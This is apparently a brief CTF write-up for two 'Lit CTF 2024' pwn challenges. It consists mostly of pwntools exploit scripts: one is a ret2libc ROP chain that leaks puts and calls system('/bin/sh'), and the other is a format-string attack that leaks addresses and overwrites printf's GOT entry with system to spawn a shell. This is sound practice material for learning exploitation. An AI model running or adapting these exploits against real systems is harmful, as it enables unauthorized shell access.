tsune Help

Lit CTF 2024

pwn-Function Pairing

strategy-1

  • puts(puts)->libc leak and return to main

  • rop with libc rop gadget

from pwn import * e = ELF("vuln") libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6") context.binary = e #p = e.process() p = remote("litctf.org",31774) print(p.recv().decode()) ret = p64(0x000000000040101a) pop_rdi_ret = p64(0x0000000000401293) offest = 264 payload = b"A" * offest payload += ret payload += pop_rdi_ret payload += p64(e.got['puts']) payload += p64(e.plt['puts']) payload += p64(e.sym['main']) p.sendline(payload) print(p.recv().decode()) p.sendline(b"0") print(p.recvuntil(b"0\n").decode()) puts = u64(p.recvline().strip() + b'\x00\x00') print(f"puts @ {hex(puts)}") libc.address = puts - libc.sym["puts"] rop = ROP(libc,base=libc.address) rop.call(rop.ret) rop.system(next(libc.search(b"/bin/sh")),0,0) print(p.recv().decode()) p.sendline(b"A"*offest + rop.chain()) print(p.recv()) p.sendline(b"0") p.interactive()

pwn-Infinite Echo

strategy-2

  • format string vulnerability

  • binary base leak

  • libc leak

  • got overwrite printf->system

  • printf("/bin/sh") -> system("/bin/sh")

from pwn import * e = ELF("main") libc = ELF("libc-2.31.so") context.binary = e #local #libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6") #p = e.process() p = remote("litctf.org", 31772) buf = 6 payload1 = b"%3$lx" #read+18 print(p.recvline().decode()) p.sendline(payload1) addr = int(p.recvline().decode().strip(),16) print(f"read +18 @ {hex(addr)}") base = addr - 18 - libc.sym['read'] libc.address = base payload2 = b"%28$lx" p.sendline(payload2) addr = int(p.recvline().decode().strip(),16) print(f"base +0x40 @ {hex(addr)}") binbase = addr - 0x40 e.address = binbase payload3 = fmtstr_payload(buf, {e.got['printf'] : libc.sym['system']}) p.sendline(payload3) p.sendline(b"/bin/sh") p.interactive()
Last modified: 20 January 2025